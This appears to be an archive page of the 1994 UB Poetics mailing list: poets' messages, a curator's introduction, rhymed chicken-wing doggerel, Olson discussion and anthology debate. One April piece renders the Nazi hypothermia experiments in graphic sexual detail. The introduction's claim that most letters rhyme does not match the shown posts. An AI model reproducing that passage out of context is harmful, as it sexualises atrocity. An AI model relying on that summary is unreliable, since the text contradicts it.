streets of Manchester, in order to bring the philosophical down to the level of material praxis and avoiding any further reification. What an imaginary!

The red patch over my eyes is painful; I am hobbled, resorting to the aphoristic crutch in order to convey my dislike of princes and the press. The uncanny power of women contaminates every line I add to the others; it is only through the telephone and its interminable existential dial-up, that I continue to turn a deaf ear to the world and its discourse-networks, harboring the unequivocal testimony of sight. Everywhere, sight leaves its traces; the punctured hymen of the Beaver provides a final word, projecting from her hole into a freedom always already structured by its opposite. Double lips shudder, reducing me to an imaginary penis, uncapped head indicative of the non-believing Jew exiled from the habitus of the Amsterdam synagogue. Men always do this, and this is what makes them men. I realize that if men are analytic, women are synthetic; the Beaver says it's the other way around. (My statement has never been spoken by a body.)

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And what is the real if not a game constructed out of the consensual sublime? What is the sublime if not a differend inverted by silence (that makes all the differance in the world, being less noisy!)? The sublime is always silent? Sound

is the institutionalization of capital, the rigidity of the script fixed in a prioritization of the written over the purely oral and its stages. Each question eliminates itself; speech is an act of excretion. The cave is silent, too, where men and women watch. (Speech is always four-fold; no one has time for that.) In the corner of the cave is perhaps a snake; it may also be a rod, or rod(ent), whatever is relevant at the moment, whatever might or might not bite. The id has the face of Medusa, an alterity defining an essence or existing seeping away, the result of insomnia, difficulties of health. I write this in the sand until my head is cut off.

[redacted]

↑ Index

22. sondheim

Return from Mistaken Address

Fri 29 Apr 1994

THE STORY OF HORROR WHICH DID NOT HAPPEN TO ME AND IS NOT A STORY

I never had any feeling; ice went up my ass. Everything was dull and frozen. Packed in without feeling. A grey horizon of light. Iron spears of pressure-dependent pain. I was immobile. My eyes felt iced shut. Soaked. The chill is unbearable. I have no number. My blood freezes as my skin bleeds. Nameless. A rotunda.

They turn me over. Flesh cracks; there's blood something transparent on the concrete. "On." Teeth are gone. I know my lip is split but I do not know "I." Oh told to write this you have it.

I am packed frozen between two women. They shove her breast in my mouth. I can't move. The body stashes its tremble. A convulsion. The cock grows of its own accord. I bend double. The women pack closer. One is thrown off and killed. Oh Clara the other one. She places her mouth on my eye. It moves. I have a tear on my skin. Eye screams with pain because it is moved.

My cock is hard. Oh Clara holds it, shoves it in. My back collapses and broken everywhere. It pierces me. Her cunt rings fire. It's of no use of use. Leans forward, braces. They tear her off me. They tear me in two. They put her on me. My back breaks in four places. They tear her off me.

Eye am warmed by ice Oh Clara. Oh Clara your breasts hard against me. Slab concrete buckles. We fall tight, her cunt sewn on cock, eye sewn on eye. Sutures everywhere. Leg leg.

Jagged ice everywhere, cut eye. I cannot rise. Oh Clara told to write this Oh Clara have it Oh Clara you have at it. Blood cracks from her mouth. She has no mouth, eye has no lid, open Clara cock. You cock I am dropped. My back breaks, Clara breaks. Cure this; cure this "on." A last sentence. What can I period. Clara drops. For they drop: drop us. For they cut: cut us. For they break: break us. Eye am open always. Sutured shut.

Eugen Kogan, THE THEORY AND PRACTICE OF HELL, pp. 165-166: `Himmler was especially interested in methods of warming persons who had been severely chilled. In a number of series this was done by means of naked women, brought from Ravensbruck for the purpose. "Personally I believe," Himmler wrote Rascher, now promoted to SS captain, "these experiments may bring the best and most sustained results, but of course I may be mistaken." He was not mistaken. Rascher was able to report in detail how revived subjects practiced sexual intercourse at 86 to 90 degrees F. and that this proved to be the equivalent of a "hot bath." When placed between two naked women, the subjects did not recover as rapidly as with one woman. "I attribute this to the fact that in warming by means of one woman personal inhibitions are avoided and the woman clings very closely to the chilled person (cf. Curve 4).' From the blurb inside front cover: `THIS WAS *HELL* ON EARTH / They: *Injected innocent people with disease germs for the greater glory of German ... Made lamp shades from human skin ... Revived frozen men by the use of naked women ... Utilized the body fats of millions for the German war effort ... Put to death more people than any other tyranny in the history of the world ...*'

> *I do not tell a story. I do not cling to the truth. I do not cling to anything. My skin falls from my bones. I am an electric galaxy. I do not have to live here. I am told: You can go and live wherever you want and it will be okay. I am told: Nothing happened because this is not a story. I cannot help clinging. I am hopeless, having no hope for myself. What would that be like. I do not understand this woman wanting this desire. I have lied to you from the beginning.*
>
> *Do you want to tell something, to tell the truth. There is no truth, there is nothing.*
>
> *You transform into dialog, into dialogic; you turn, turn away from me. Oh Clara nothing happened. Do not read the signs!*
>
> *The signs are there to be read. Or there are no signs, only marks. There are marks made by nails into floors, marks splintering flesh; there are marks but no eyes*
>
> *There are eyes nothing to read, no marks nothing, you do not know this nothing or imagined or dream torn from its moorings*
>
> *There are no marks be quiet >>>>Yes be quiet*

"It is a description of the closest thing to hell in human history." --Reinhold Niebuhr

I AM FULL OF HOLES [redacted]

for clara

↑ Index

23. Robert Creeley
Beatnik Bliss
Fri 29 Apr 1994

Late Breaking News!!!

Wednesdays at 4
is o'er--

BUT

Wednesday, May 4th
at 7:30 (dig it)

at the CPG
will be

Teducation's

TED JOANS

fresh from Parisian Haunts
and African Big Changes...

You all come, you hear?
Help keep the beat

↑ Index

24. Michael Metzger
Re: Beatnik Bliss
Sat 30 Apr 1994

OK, what's the CPG??

↑ Index

25. Charles Bernstein
Re: Beatnik Bliss
Sat 30 Apr 1994

> *OK, What is CPG?*

Central Park Grill, 2519 Main Street, Buffalo, NY (USA)

We are working to bring these events on-line in interactive formats not yet devised. The Poetics Technical Crew is having particular trouble bringing into the model the free wings (with blue cheese dressing) generously provided by the bar after each reading. But we pledge not to go on the World Wide Web with this type of, as they say on TV, "live" programming until we attend to details such as these.

"POETICS@UBVM: so real you can taste it"

↑ Index

26. Robert Creeley
Beatnik Bliss & CP Geebies
Sat 30 Apr 1994

If I had the wings
of a chicken
to the great CPG
I would fly

and sit right up front there
and listen
to all that great shit
flying by...

You all come, folks.
Listen to your Uncle Charlie!

You hear?

.....

OH

You can't get hear from there, man,
You can't get hair from a chair, man.

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1994

40 messages · Sun 1 May 1994 – Fri 27 May 1994

May 1994 is the month the UB Poetics list lost its collective mind, and did so on purpose, and produced thereby one of the loveliest things in its early archive. What had begun in April as a modest thread called Beatnik Bliss ferments over the month into a full collaborative romp — CBGEEBIES, chicken wings, CP Geebies, a running doggerel poem passed hand to hand under a rotating carousel of ever-sillier subject-lines. Some forty letters, and the great majority of them in rhyme.

Joe Amato strikes the first note, cheerfully absurd, angling for *“for some talky bleu cheese dipped fare”*, and the thing is off. The surprise, and the delight, is who picks it up: Robert Creeley, of all people, seizes the baton and will not let go, filing seven separate contributions in a month, rhyming his way through menus and farewells and small hours. *“I can't keep up the rhyme no more”*, he protests around two in the morning, and then, of course, keeps it up.

It becomes properly choral. Mark Wallace answers the call with the month's best throwaway line — *“I can't fly, though sure can sit”* — and Marc Nasdor and Robert Kelly crowd in, Kelly lifting the register for a moment to note that *“The life of that city rouses over and over”* before the nonsense reclaims him. The pleasure of reading it now is watching serious poets discover that they can be silly together without ceasing, for an instant, to be poets.

There is a small poetics buried in the fun, as there always is. A collaborative rhyme passed around a mailing list is the social poem of February's arguments made suddenly, unpretentiously actual — authorship dissolved into the group, the medium's back-and-forth turned from a limitation into the very form of the thing. What the theorists could not settle in prose, the chicken thread quietly demonstrates in verse.

It cannot last, and it knows it cannot, which is part of why it is moving as well as funny — a spring fling, a bout of collective high spirits that the summer will let subside. I have kept the letters in the order the days delivered them, each rhymer forward under his own name, the private numbers swept to black, so that the poem can be read the way it was written: as a room of people, briefly, refusing to be sensible. These were letters before ever they were literature — and never more happily so than here.

— Kristen M. Fabians

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Every entry links to its message. 40 in all.

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25 MAY 1994

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27 MAY 1994

40. Charles Bernstein — I remember Joe Brainard

1. Joe Amato
Re: Beatnik Bliss & CP Geebies
Sun 1 May 1994

Take more than chicken
wings
get me hear from
there

But a tin can with
strings
can
man

O! for some talky
bleu cheese
dipped
fare...

↑ Index

2. Robert Creeley
CBGEEBIES/CHICKEN CHUNKS FOR BEATNIK BLISSTERS
Sun 1 May 1994

FIRST LINE FLIGHTS (Chicken Wing Expressed)

Ah, did you once see Shelley plain...
He's back at the CPG again!

Blasted with sighs, and surrounded with tears...
All he needs is a few more beers.

Careful Observers may fortell the Hour...
Nobody watches the clock around here.

Do not go gentle into that good night...
If you got to go, do it right.

Flat on the bank I parted...
Flat on my back I started.

Give me my scallop-shell of quiet...
Then we can start a riot.

Glory be to God for dappled things...
Hey, that's my coat!

Go, for they call you, shepherd, from the hill...
you old goat...

Anyhow you all come, eat those chicken wings and have some fun, when TED JOANS gets it on

at the CPG, Wednesday, May 4th at 7:30.
Ok.

BONUS POEM FIRST VERSE ONLY

"Women he liked, did shovel-bearded Bob,
Old Farmer Hayward of the Heath, but he
Loved horses. He himself was like a cob,
And leather coloured. Also he loved a tree..."

--Writ 1916 and published in 1920. Not so long ago, folks. "And gloom, the name alone survives, Bob's Lane..." Sic transit. Better get there (the CPG!) while you can...

↑ Index

3. Patrick Phillips
kaffee
Mon 2 May 1994

For those of us who'll miss the beat of chicken wings @CPG I provide a scent of coffee sent to me by Ferdinand Schmatz - an Austrian poet. The poem is from his collection *speise gedichte*

I must say he's provided this and other poetry for an anthology of international poetry I am editing, and that though my anthology will be published in book form and interactively on the World Wide Web, he ain't given his permission for this coffee house publication. So, this should be considered a venue-specific flyer of sorts...!

sud an
(kaffee)

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a e e a e

e e

e

--I take all responsibility for any typographical misalignment in the poem - depending upon your text editor, you may have an entirely different cup.

↑ Index

4. MARK WALLACE

Re: (Forwarded) : Obj

Mon 2 May 1994

May I start controversy?
I'm bored because I work for a living.
Yes, in medieval Christian Europe
painters were more in touch with their bodies
and with the physical nature of the universe
than we are in this fallen
fly-by-night mechanical reality.
They were able to achieve this state
at least partly because of their
secure position within feudal society,
which admired care
more than we do now.
Perhaps a return
to a rural paradise of the sort
posited by Johnathan Swift, A. Pope,
and more recently Allan Tate
and Robert Penn Warren
is called for.
We could slow down, we could really take care
with our materials again.
We could even have the plague again!--
talk about pure physicality.
Sometimes I wonder, though
whether our own current social state
emerges from the contradictions
of European history, even pre-machines,
rather than being a fall from it.

Maybe physicality was always a problem
and not a given.
Maybe objects don't completely last
anymore than they utterly disappear.
Maybe the middle ages was hell
for almost everybody.
But here I am, being interrupted again--
time to go back to work.
I wanted to make my satire jovial,
hope it will be taken in that spirit
however the machinery failed me.

↑ Index

5. Marc Nasdor
Re: Beatnik Bliss & CP Geebies
Mon 2 May 1994

Yeah, Bob, but it'd be even better in Maryland with a bushel of hot steamed crabs ready for the dissectin'. Anyway, good time to start a flame war about overrated gloppy buffalo wings. DIS! DIS! DIS!

-Marc Nasdor, a/k/a csigaposta (hungarian snail mail)

↑ Index

6. Robert Kelly
Re: Beatnik Bliss & CP Geebies
Tue 3 May 1994

As Homer tells it
when I was a kid up there
you got a beef and
wick at Bai-Lo's
one man could not
eat two of,

what
is this business
of scrawny leathery
limbs of fowl
I ask you?
Did Arkhilikos get his

in such a way or mute
his lyric thumb with

blue cheese anything
at all (I ask you)

the skin
slips off the string.

Wan suei, friend.

Robert

↑ Index

7. Robert Kelly
Re: (Forwarded) : Obj
Tue 3 May 1994

The least thing
(best thing)
we could do
to get that
worky worthy way
is write in Thinglish.
Try to do.

rk

↑ Index

8. Robert Creeley
That Old Blurred Chicken's Got Me In Its Spell...
Tue 3 May 1994

Must be the heavens
so invite,
in xtian parlance stated--

If chickens could
get off the ground,
they never would be eated.

Meantime I fly
though god knows why
on wings of chicken only.

Though clams be great
what we can get
in Buffalo is homely.

By which I mean
of course all scenes
are local and particular.

But now the patient
chicken waits*
its wings to part forever.

Here's to bleu cheese,
and Joe and me--
and poetry's murmurous meters!

I can't keep up the rhyme
no more... It's time...
Goodbye, dear fri
*Cf. earlier reference: "TED JOANS READING
CPG, May 4, 1994 -- 7:30 PM." World events, etc.

↑ Index

9. Jorge Guitart

see what they made me do

Tue 3 May 1994

---

1 WAY
for D.L & M.S.

by Jorge Guitart

we are our (protein) interactions

i am colloidal said (ms) particle
and you? i am mr hydro(phobicity) (by adsorption)

recall the great elucidation
at the bar
the interfacial behavior

observed solution none
information unobtainable
by structural studies alone

thin films (of our `lives')
fringes of equal chromatic order
& "different" wavelengths separated
don't interfere constructively with my exiting

& i approached the foul bioreactor
your surface energies give rather

indirect information
i follow your time evolution in situ

what extraordinary specificity
by the crossed cylinders
the depth of my minimum
was much greater

why didn't you indicate directly
the timescale of your reorientation
lips lipid bylayer
& interdigitated monolayer
why was blockage of binding used
to mask attractiveness?

↑ Index

10. Robert Creeley

Frid CPGbees

Tue 3 May 1994

Jorge really gets to me with those questions!
Why was "blockage of binding used
to mask attractiveness..."
Blurred blue sentience?

Buffalo is perhaps the center
of the universe
in reverse of all others
going from left to right
in that order?

But "fri" was not fried Friday,
friend.
It was:

"Goodbye, dear friends and neighbors..."
Why "Press RETURN for more"?

Why didn't you
"indicate directly"?
You always used to.

↑ Index

11. Tom Mandel

"*pure*" "*physicality*"

Tue 3 May 1994

What is Williams' (Raymond's) tome?
"Town & Country In English Prosey"
whose intro tariffs MW's refrain
with what just has happened, has just been destroyed.
We need a creole history to know
how the messianic jews of smyrna
affected revolution in
america and france, once their
clothes'd been removed and fragrant
from the barrels they sat on
awaitin' the tribes march north
and a cloud to carry
Amsterdam to Jerusalem, t'ain't enuff
to see it being mixed now
as if we used to paint in primary colors
of social position, the exception
and the rule, ala Henri deRegnier
or Francois Coppee (admired for
his "range" by the then-unknown
friend of dR: [redacted]
) his papers not worth the ink
of think they print upon.
You see a pattern? I don't.
"The past is all that can be changed."
Sorry, the present's out
of bounds; even what returns your gaze
not even memory can be formed
"let me hear your theory again Mr. Chain
if you imagine me prepared I am"
for complexity to be all of the object
allowed, and poet (mind?)
straightforwardinthegroove
of thanks again, no second helping of solutions

I'm having problems swallowing the problems

tom

↑ Index

12. Joe Amato

Re: That Old Blurred Chicken's Got Me In Its Spell...

Wed 4 May 1994

The sky is bleu
in Chi-town, folks
my porkchop on the grill

Though Buffalo & poetry
& chicken wings
bode still:

To shuffle off
in such a state
my porkchop goes un-et

& yet the point would seem to be
such wings beget
poets:

Hence sweet refrain
may only bring
my porkchop from the grill

But if a chicken wing can sing
for me, dear folks
it will...

↑ Index

13. MARK WALLACE

Re: That Old Blurred Chicken's Got Me In Its Spell...

Wed 4 May 1994

I can't fly,
though sure can sit.
But shit?
Well, maybe after chicken wings.

↑ Index

14. Robert Creeley

The Old (Wingless) Chicken's Song

Wed 4 May 1994

"What is Williams' (Raymond's) tome..."
Where have all the flowers gone?

I put them right here on the table...
No one's been here but for Mabel.

God, my mind is slipping cogs,
gaps of pattern, mucho fog...

Yet I know whatever I
can ever think of 'ere I die,

'twill be in my head alone
that the symbiotic blur has formed--

to make no "we" unless "they" tell "us"
"you" is "me" and "I" is nameless.

"Tom" is wrong? "I" is right?
Is this the point at which "we" fight?

Us was never happy we,
all that's ever left is me.

Past is what I can't forget,
where the flowers got to yet--

Mabel's face, my mother's hands,
clouds o'er head last year at Cannes,

Kenneth Koch's reaction when
we told him once at 3 AM

he should marry Barbara Epstein,
loosen up and have some fun.

"I remember, I remember--"
Memory, the great pretender,

says it happened, thinks it was,
this way, that way, just because

it was in my head today...
Present (present) passed away.

↑ Index

15. Mn Ctr for Book Arts

Re: The Old (Wingless) Chicken's Song

Wed 4 May 1994

---

on the wings of a chicken

an old song in triplets

wider than an aging mile

higher than the sweet ting

of barbecue, iced tea

remains the age of the day

on the swing, the children

singing an old song on the wing

↑ Index

16. Robert Creeley

Chicken Chat

Thu 5 May 1994

Ted Joans has now come and gone, to fact of modest audience, a quiet midweek night in Buffalo at the end of the school year, etc. He's such an old time kind of poet, with a few books of his own to sell, satchel of personal belongings, ar- riving by bus from NYC at 7:25 AM, looking around very particu- larly. He proves a bridge over many troubled waters indeed, with stories of being recently in South Africa and countries there adjacent--moving as one can when there is no high exposure to deal with, sticking to the local and being handed on. He's moved as a poet reading and talking in Africa more than any other, of any circumstance--can tell you the particulars of language in various places, the lore of their locating habits, imaginations. And so on.

After his reading we were still sitting there, comfortably, talking, with the chicken wings etc etc--I was saying to Ken Sherwood how persuasively attractive this curious place (right here/the so-called net (well named)) had been these past few days. As if I'd been waiting like kid at edge of water to jump, and finally had--and found it terrific! An exfoliating "self" of weird kind that literally "echoed" back and back and back in apparent "object- ivity" that nonetheless was just plain Bob/or words to that effect.

In the early 40s when still in college I had job as copy boy on the Boston Globe, and recall hysteria of trying to keep up with the sheets of paper rolling off the bank of teletype machines: "late breaking" bulletins with endless revisions, cancellations, etc etc. Now I got chance to play "sender".

But, as Ken said, it's a funny "place" and activity, as if one could really get lost "out there," be so "distributed" the focus, or locating response, were only endless reverberations of one's own initiating act. That is, it's instantly hard to hear anyone but one's self--and the moves, as in a poker game or checkers, become too simply (for me at least) redeterminations of my "position" (hardly "intellectual") as I want to keep "playing"--and why not.

Seamus Cooney was saying some time back, think of what it would have been like had you and Olson had email. Help... Yet it would have saved all those drab hours waiting for the mail--as I did at times, crouched back of brush some thirty feet from where the mail truck would pull up. In some obvious ways, writing letters back then was even more of a singular act, a proposal of self simply, than what I am doing here right now-- but on reflection it seems the same.

Carla Billitteri in last discussion of Olson seminar etc used sense of the "solipsistic fury" of his late work: "Wholly absorbed..."; "I live underneath the light of day..." Etc. I think of Wittgenstein's essay/ lecture on ethics, wherein he speaks of will to make just one word that can be autonomous--self creating. It seems the same "fury"--familiar to all who read, write, or think no doubt. "Was that a real poem or did you just make it up yourself..." Quien sabe, amigos.

P.S. Irony indeed that the one "food" Ted is deeply allergic to--like even a spoon dipped in soup would do it--is chicken.

↑ Index

17. Jed
Re: Chicken Chat
Thu 5 May 1994

Re: Olson's "fury" & Bob Creeley's humanizing of it as a generic condition of readers & writers grasping for an autonomous word.
I think of other senses, archaic, mythopoeic, in which Olson would have *worked* the material, pressed out its ulterior sense. "Fury" is not merely an emotional state, but the name for the Erinyes, spirits avenging family violence. Their inception is curious, as they arise from the ground in the drops of blood spattered by the castration of Uranus in that primal scene of patricide. Colloquially the furies were appe aled to in cursing, and are thought of as even the personifications of curse. And Jean-Pierre Vernant has something interesting to add: "The Erinyes can claim the two extremes: What is 'pure' and 'natural' is also what is raw. They do not drink wine but they do eat men." (Myth & Tragedy in Ancient Greece, 158)

--Jed Rasula

↑ Index

18. Michael Boughn
more chatter
Thu 5 May 1994

But what, Bob, would you have done without precisely those shrubs and that ritual. What about the poems and (as here) stories that moment still proposes. Probably you'll just find (as I have in recent moments of messages "purloined" somehow in the net (a sleeping gatekeeper?)) some new kind of bush.

The big difference for me is who's on the other end, or who I think there. The "self" proposed in the O letters, who's working there, includes its companion and goad. In other words the conversation, the very one Emerson proposes to replace religion. Who, here, am I writing to? I'm thinking of you but even in the process know this is different in its diffusion to others I'll never know. Not that one is less composed. Or less uneasy. Still, an overheard conversation.

In Hyampom CA, (drive to Mt Shasta, turn left and take the logging road a hundred miles west) the whole town was (20 years ago, and may still be) on a single party line--perhaps the morphic antecedent to this moment. They say people, knowing someone was sick, say, would wait for the signal--two longs and a short, or whatever the code for the particular house--then everyone would pick up the phone to find out how the sick person was. That way distrubance was minimized, but everybody knew what was happening. Talk about community. Still, no sweet nothings under those conditions. Thus your exfoliating self moves towards what attractor?

--Mike

↑ Index

19. Robert Creeley
Chicken Feathers
Sat 7 May 1994

Carla's note of Olson's "solipsistic fury" gets misplaced here necessarily, just that I took it out of context, didn't mark its company in her thinking ("stone," "double"), nor in any respect suggest what the preoccupations in her discussion were. At some point I hope one can read what she's done for onself--as I'm sure she hopes likewise. One's trying to get to the place (what I'd call the context) where Olson finds himself--as in the early note to Elaine Feinstein: "Orientate me." ("The light is in the east," etc etc.)

Anyhow, thinking of Jed Rasula's useful addition of the Furies (the English of the Latin of the Greek)--I like the fact that "fury" locates in "rage," and that certainly echoes: "rages, tears..." "And the thought of its thought is the rage/ of Ocean : _apophanesthai_..."

--Egocentrically it recalls my own (humanistic) "possession": "I rage./ I rage, I rage." The downside, like they say, of a state that is not simply (only) an emotion (as Jed usefully emphasizes)-- but is a place one's come into, as "Come into the world."

This one,
that one,
the other one--

I keep thinking of "seizure," a sense I get insistently in Olson --that one acts in/from such state. Paradoxically it's the Greco/Roman that seems to have the problem with such "place," it's so "irrational"--thinking, in contrast, of the dervishes still very active in Turkey (if often reduced to a kind of "entertainment" (or so attached) akin to pueblo ritual dances in the southwestern U.S.).

But here it all goes again--that endless digression! "Get on board, etc etc." I wish there were some damn way to get out/get in "here" so as to find the literal company one knows is "there". Somehow the note in the bottle--charming though that be--is, for me, still the parallel. Which means at best I'm in there too. Show me the way to go home! I'm TIRED and I WANT TO GO TO BED... (P.S. Just in Baltimore and they sure eat well --and no chicken wings in sight... Maryland Institute of Art (Joe Cardar- elli) seems where it's at. Anyhow "my Baltimore" is same plus memories of Andrei Codrescu, David Franks, and impeccable Anselm Hollo. "Scrapple" on the menu. All the trees had leaves! Barry Alpert in good spirits. Julie Kalendak's going to Alaska. Onward!)

↑ Index

20. Bruce
More chicken musings
Sat 7 May 1994

Yes, Mike, that was very much my thinking about this space. It's great to have some sense of potential community, but it seems to remain forever potential. Perhaps, Bob, if I'd been at the CPG Wednesday night to talk in person about it I'd have a sense of more active possibility here, but, Charles, though I perched 'fore the screen all Wednesday night, nary a whiff did I catch o' them virtual victuals--though we're perhaps better off not to have that particular odiferous technology. (But FREE wings? When did they become FREE?) So who are my interlocutor? Jed Rasula re the furies? which called to mind Francis Bacon's use of the Erinyes in a few of his paintings, so clearly connected to the fury of his paint in all those figures--very much the solipsistic fury that you mentioned, Bob, though I think there's not only the fury of striving for that word, but a fury at striving for it, at finding oneself in that situation--all that's

involved in "odi et amo." But I'm getting off topic. Thanks, Peter, for the summer reading suggestions, it's rare to hear anything of CanLit here. Lately I've been relaxin' (and cookin') with oldies like Henry Green and Robert Walser, whom I'm sure you already know. By the way, Bob, what do you think of Francis Bacon? I've been experimenting, putting poets and painters together in my classes, and you and he seemed to hit it off pretty well.... My point is, all of these lines seem at once to move out of group and into individual conversations. What is a group discussion in espace? Do we stick to general queries: i.e., does anyone recall just where Pound talks about the air in Italy making one (I think he says a man) more vibrant, more alive, etc.? Or could we have some collective impact as a poetics "consortium"--for instance, organizing protests and recommendations about mainstream anthology exclusions (the case of W.W. Norton and the Objectivists comes to mind). These seem useful functions, though hardly what one dreams of. I don't think, in any case, that "we" are going to create the contemporary equivalent of the Olson-Creeley letters here--the "we" feels too uncertain (who else is listening? the IRS? your colleagues? tenure committees? how pervasive can paranoia become in electronic space? (how many people are on this list, Charles?)). But perhaps it can become a starting point for individual conversations, which could then proceed without the self-regulation this mode necessarily involves. And of course it can also help to alleviate some of that solipsistic fury--when you want to alleviate it. But who knows? Maybe someone'll actually bring back that word--this time.

P.S. The query, above, is real. (Everything else, of course, is virtual, just like those wings Charles promised.)

↑ Index

21. Robert Kelly
Re: Chicken Feathers
Sat 7 May 1994

Since you say seizure, I'm boldened to mark our Bruno's (Jordan Brown's) sense of the furore poetico, the spasm of saying, the sheer out/burst from which the art so 'furiously' arises -- not fury (anger) but furioso,

taking fury as furore from my memory of Olson's anabolic clarity out loud. I had mentioned this to Rasula, to spread wider those Erinyes/Eumenides (not just the well-intentioned, let alone the Nice Minded ones of Vic- torian euphemism, but the ones who hold their meanings clear) of his,

that furore is of mind, and anything else is rage. Which is always going one way or another back to raga, long a the first one is, emotion, mood, music's way.

Gosh. I remember the Maryland Institute when it was a train station. I got off there many a time. The life of that city rouses over and over.

Robert

↑ Index

22. Robert Drake
Re: More chicken musings
Sat 7 May 1994

> *(who else is listening? the IRS? your collegues? tenure committees?*

to find out, send the meassage "REVIEW POETICS" to the listserv address--you'll receive a message w/ the names and addresses of all current subscribers (except chris funk...). makes fr a handy address list of the current "in croud".

last time i checked, the list was about 25% women (plus/minus a few gender-ambigious names)... haven't kept track, but gender ratio of those actively contributing messages doesn't seem anywhere close to that. how interesting.

lbd

↑ Index

23. Jed Rasula
Re: More chicken musings
Mon 9 May 1994

In response to Bruce's "real" query about this e-consortium and the uses to which it might be put, I have a practical request. I've been asked to review the new *Columbia History [which it's not!] of American Poetry* edited by Jay Parini, and wonder if anybody has anything to say about it here. I'll reserve comment pending yours...

As for the omission of the Objectivists in the Norton, the spanking new 4th edition glossily proclaims its inclusion of Oppen as groundbreaking. It's not hard to figure out how Oppen finally made it: check the MLA bibliography on CD-rom and you'll find that if you key in name searches Oppen (this was last June, actually) gives 108, Zukofsky 85, Reznikoff 50 --contrasting which, to show where the interest really lies, Hollander nets 9, Hecht 12, Snodgrass 9. Or garnering a bit more attention--but still decidedly less than the Objectivists--Merwin 47, J.Wright 59, Ammons 60, Kinnell 35, and even Merrill 46. The myth of Objectivist exclusion may be about to change. (But one thing this kind of search doesn't indicate, of course, is who makes it into the anthologies--and Oppen, Rez, & Zuk remain largely *persona non grata*).

↑ Index

24. hlazer
Re: More chicken musings
Mon 9 May 1994

Jed & others--

Regarding the anthology business. The 4th edition of the Norton also include Niedecker. I've just been reviewing Am Lit anthologies (for a textbook committe here at U of Alabama). Norton is honestly the most adventurous (re. Objectivists & others) of the major anthologies. The much touted Heath anthology--leader in matters multicultural--exhibits little aesthetic tolerance or range. I've been interested for some time in the relationship between multicultural inclusions vs. aesthetic/formal range. As Charles B. & others have pointed out, often multicultural "adventurousness" occurs as part of a formally rather homogeneous manner of (personal, clear) expression, and thus more innovative multicultural poetries do not get included. Or, as in the new 2nd edition of the Heath, the version of postmodernism that gets advanced really has very little postmodern poetry in it. When the "contemporary" gets represented, the innovative is hardly ever included (even in token fashion) in the "major" AM LIT anthologies.

Now, of course, via Hoover's editorship, Norton has a new anthology of POSTMODERN AMERICAN POETRY, which I'm just reading through now. It has a fine introduction & quite a few very good selections, giving readers a good sense of the variety of poetries of the last 45 years.

As for Creeley's chicken wing musings, down here we got ribs. Best place is Dreamland in Jerusalem Heights. They serve nothing but ribs, and white bread (the spongy, airy variety). A few years ago, the IRS raided the place & asked the owner to show them his books. John Jr., the owner, said what books? He'd done a cash only business for years. Got fined $150,000, and was ordered to serve a community meal once a year to the occupants of our local state hospital for the retarded. Football alums, who also love Dreamland, went to the courthouse and paid the fine. The once a year meal has been a disaster. Dreamland's ribs/sauce are hot. The patients, many of whom are elderly & don't have their own teeth, had been eating bland foods & couldn't handle the ribs & sauce. John Jr. apparently now pays taxes and has books?

Any thoughts on anthologies & the representation (or non-) of experimental poetries would be appreciated. Or thoughts on ribs.

↑ Index

25. Kristen Prevallet
Re: More chicken musings
Mon 9 May 1994

Another side to the "multicultural adventurousness", of course, is corporate competition. I happened to be working as an editorial assistant at Norton at the time when the Hoover anthology was still being considered. I remember that the anthology editors were actually going to conferences and having closed-door meetings about the possibilities of new directions in canonizing. Essentially it was a matter of them either getting on the multi-cultural / innovative etc. bandwagon or falling off--the Norton anthologies, that is, essentially run the business.

And to illustrate what the "formally rather homogenous manner of personal/ clear expression" means when it comes to judging whether a poet is publishable or not, here is a letter I received from one of the editors when I tried to get him to consider a Mackey manuscript: "Mr Mackey works in a poetic vein that I am vaguely aware of, but which I can't quite grasp. Many beautiful lines, but overall terribly ... elusive. And I don't have to tell you that the very long line forms at the right for Norton poets. We will have to decline this serious poet's work in the politest way possible."

↑ Index

26. MARK WALLACE
Situation Magazine
Mon 9 May 1994

Situation #6 features poetry by Joan Retallack,
Susan Schultz, Cole Swensen, Peter Ganick, John M. Bennett,
others.
Situation #7, due out this summer, will feature work
from Kevin Killian, Ron Silliman, A.L. Nielsen,
Sterling Plumpp, others.
Earlier issues have featured poets
such as Charles Bernstein, Hannah Weiner, Bruce Andrews,
Ray Federman, Ben Friedlander, Sheila Murphy,
Juliana Spahr, Elizabeth Burns, Jeff Hansen,
and many others.
Each issue of Situation is 20 pages
of the best innovative contemporary poetry.
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out of Albany, NY)
is only $13.
Write me at Mark Wallace, Situation,
10 Orton Place #2,
Buffalo, NY 14201
or contact me through e-mail
for further information.

↑ Index

27. Patrick Phillips
Re: Ribs in Dreamland
Mon 9 May 1994

To Hank and others

Just now I received a post from Yunte Huang (thanks), whom you (Hank) know as, among other things, a poet, translator of Chinese and soon to be reveller in chicken wings, who is now finished with his work at Alabama. The note regarded work of Chinese poets he is helping me compile for an anthology I am editing - "still waiting for a reply from China." With the appearance of the Norton and the appeared to be a moment where I could, for various reasons, announce the project to the list. I have been querying international poets and editors for five months now and the process now turns in earnest to the North American "front."

The anthology is a sound, text and image compilation of comtemporary international experimental poetry. I will publish this gratis on the internet via something called Mosaic - Mosaic allows the viewing/reading/listening of images, movies, sound and text. One book publishers has expressed some "interest" in the project as an electronic (CD) effort. Publication late '95?...

After my recent posting of Ferdinand Schmatz's "Sud an (kaffee)" (I must thank Charles for directing me to Schmatz and others) I was asked by Nick Lawrence to say a little more about the "focus, etc..." of the anthology. The premise is that the form of this more-than-one-medium anthology, either in static disk form, or dynamic "internet form," whatever that is, may disrupt the kind of notions which often motivate discussions around anthologies - notions like "the canonical," occidental/oriental splits, schematic organization of literary development, the shear inanity of anthologies to begin with, etc.. Of course editorial sympathies remain. But I am sympathetic to the disruption of established historical and categorical paradigms to the point that *I* go in and out of focus. I can say that my focal plane is located somewhere near the idea,

to borrow a phrase from Karatani Kojin, a Japanese literary critic, that "literature is not natural;" not to rehash the anti-naturalist, anti-positivist debate, but to establish a picture of a "landscape" of international textual discourse which unveils its economic manufacture. Or, in our more culinary scape, how much Buffalo Wings are in Dreamland.

Thus far, as mentioned in my reference to Yunte, queries have been made to Chinese as well as Japanese, Italian, Austrian, Finnish, French, Spanish, Indian, British, Russian, Tanzanian and Canadian poets for their texts (recorded in language of origin). Startling similarities arise; subtle yet variances in use and expression abound.

Cards and letters to North Americans should go out within the next month or so. I invite you all to diner - and welcome any suggestions, comments or questions.

↑ Index

28. Marc Nasdor
Re: More chicken musings
Mon 9 May 1994

Go for it, Jed!
-Marc Nasdor

↑ Index

29. Marc Nasdor
Re: More chicken musings
Mon 9 May 1994

Regarding Kristen's posting:

gag me with a spoon

